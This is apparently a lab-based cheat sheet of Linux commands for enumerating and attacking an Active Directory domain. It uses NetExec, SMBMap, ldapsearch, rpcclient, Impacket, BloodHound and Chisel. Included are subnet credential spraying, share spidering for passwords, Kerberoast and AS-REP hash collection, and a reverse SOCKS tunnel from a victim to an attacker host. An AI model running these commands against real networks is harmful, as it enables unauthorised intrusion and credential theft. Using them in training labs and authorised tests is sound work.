Once you hold a valid domain credential — even a low-priv one — the attack surface opens up. From a Linux foothold you can map the entire domain without touching a Windows box.

First commands after any new credential

netexec smb <DC> -u <U> -p <P> to validate, then --users --groups --shares --pass-pol --loggedon-users in a single run. Save everything to disk — you will refer back.

NetExec / CrackMapExec

The Swiss army knife. NetExec is the maintained fork; syntax is identical.

# Validate creds
netexec smb 172.16.5.5 -u forend -p 'Klmcargo2'
 
# Full enumeration burst
netexec smb 172.16.5.5 -u forend -p 'Klmcargo2' \
  --users --groups --shares --pass-pol \
  --loggedon-users --sessions --local-groups
FlagWhat it surfaces
--usersDomain users with badPwdCount/badPwdTime (pre-spray gold)
--groupsAll groups with member counts
--sharesShare list with READ/WRITE perms
--pass-polLockout threshold + password policy (required before spraying)
--loggedon-usersWho is currently logged into the target
--sessionsActive SMB sessions (hunt admins)
--local-groupsLocal groups on remote host
--rid-brutePull users by RID range against a null/auth session

Finding Admin Access Fast

# Spray creds across subnet — (Pwn3d!) means local admin
netexec smb 172.16.5.0/24 -u forend -p 'Klmcargo2' | grep 'Pwn3d'

Spider Shares for Secrets

netexec smb 172.16.5.5 -u forend -p 'Klmcargo2' -M spider_plus --shares 'Department Shares'
netexec smb 172.16.5.5 -u forend -p 'Klmcargo2' -M spider_plus -o DOWNLOAD_FLAG=True

SMBMap

Better for targeted share walking and file retrieval.

# List shares with permissions
smbmap -u forend -p 'Klmcargo2' -H 172.16.5.5 -d INLANEFREIGHT.LOCAL
 
# Recursive directory listing on one share
smbmap -u forend -p 'Klmcargo2' -H 172.16.5.5 -d INLANEFREIGHT.LOCAL \
  -R 'Department Shares' --dir-only
 
# Grep file contents across a share for interesting strings
smbmap -u forend -p 'Klmcargo2' -H 172.16.5.5 -R 'Department Shares' \
  -A '(?i)passw|secret|cred'

LDAP Search (Bound Query)

Raw LDAP cuts out the middle layer. Essential when tooling is blocked or you need exotic filters.

# Bound query — prompt for password
ldapsearch -x -H ldap://172.16.5.5 \
  -D 'forend@inlanefreight.local' -W \
  -b "DC=inlanefreight,DC=local" \
  "(objectClass=user)" sAMAccountName description
 
# Find users with SPNs (Kerberoast targets)
ldapsearch -x -H ldap://172.16.5.5 -D 'forend@inlanefreight.local' -W \
  -b "DC=inlanefreight,DC=local" \
  "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName
 
# Users with PASSWD_NOTREQD flag
ldapsearch -x -H ldap://172.16.5.5 -D 'forend@inlanefreight.local' -W \
  -b "DC=inlanefreight,DC=local" \
  "(userAccountControl:1.2.840.113556.1.4.803:=32)" sAMAccountName
 
# Domain Controllers
ldapsearch -x -H ldap://172.16.5.5 -D 'forend@inlanefreight.local' -W \
  -b "DC=inlanefreight,DC=local" \
  "(userAccountControl:1.2.840.113556.1.4.803:=8192)" sAMAccountName

rpcclient

MS-RPC enumeration, often works where SMB auth is locked down.

rpcclient -U "inlanefreight.local\forend%Klmcargo2" 172.16.5.5

Inside the shell:

enumdomusers              # dump all users + RIDs
enumdomgroups             # dump groups
querydominfo              # domain name, server role, user count
queryuser 0x457           # user detail by RID (0x457 = 1111 dec)
querygroup 0x200          # group detail
lookupnames administrator # name -> SID
lookupsids S-1-5-21-...   # SID -> name
getdompwinfo              # password policy
netshareenumall           # share list

RID conversion

The built-in Administrator is always RID 500 (0x1f4). Domain Admins group is RID 512 (0x200). Use these as anchors when enumerating unknown environments.

Impacket Toolkit

# User list via SAMR (works even without --users creds sometimes)
GetADUsers.py -all -dc-ip 172.16.5.5 inlanefreight.local/forend:'Klmcargo2'
 
# SPN hunting (prep for Kerberoasting)
GetUserSPNs.py inlanefreight.local/forend:'Klmcargo2' -dc-ip 172.16.5.5
 
# AS-REP roasting targets
GetNPUsers.py inlanefreight.local/ -dc-ip 172.16.5.5 \
  -usersfile users.txt -format hashcat

BloodHound-Python

The most important single collection you will run.

sudo bloodhound-python -u forend -p 'Klmcargo2' \
  -d inlanefreight.local -ns 172.16.5.5 -c All
 
# Include sessions and loggedon (needs admin on targets for best results)
sudo bloodhound-python -u forend -p 'Klmcargo2' \
  -d inlanefreight.local -ns 172.16.5.5 -c All,LoggedOn
 
# Zip output for GUI ingest
zip -r bh.zip *.json

Start neo4j (sudo neo4j start), launch BloodHound, drag the zip onto the GUI.

Windapsearch

# Dump Domain Admins
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p 'Klmcargo2' --da
 
# Users with excessive privilege
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p 'Klmcargo2' -PU

PowerView From Linux (Proxy In)

When you need PowerView but only have a Linux foothold, tunnel through to a Windows host.

# Start SOCKS proxy via SSH foothold
sshuttle -r user@linux-foothold 172.16.5.0/24
 
# Or Chisel SOCKS5 on compromised host
./chisel server -p 8000 --reverse            # attacker
./chisel client <attacker>:8000 R:socks       # victim
 
# Then from a Windows VM through proxychains, or RDP to a jump box and run:
# Import-Module .\PowerView.ps1; Get-DomainUser -SPN

Workflow Summary

  1. Validate creds (netexec smb <DC> -u -p).
  2. Pull policy before anything noisy (--pass-pol).
  3. Enumerate users/groups/shares in one pass.
  4. Run BloodHound collection immediately.
  5. Walk interesting shares with smbmap/spider_plus.
  6. LDAP for anything BloodHound missed (custom OUs, ACLs on weird objects).
  7. Mark accounts with SPNs and DONT_REQ_PREAUTH — those are your next hashes.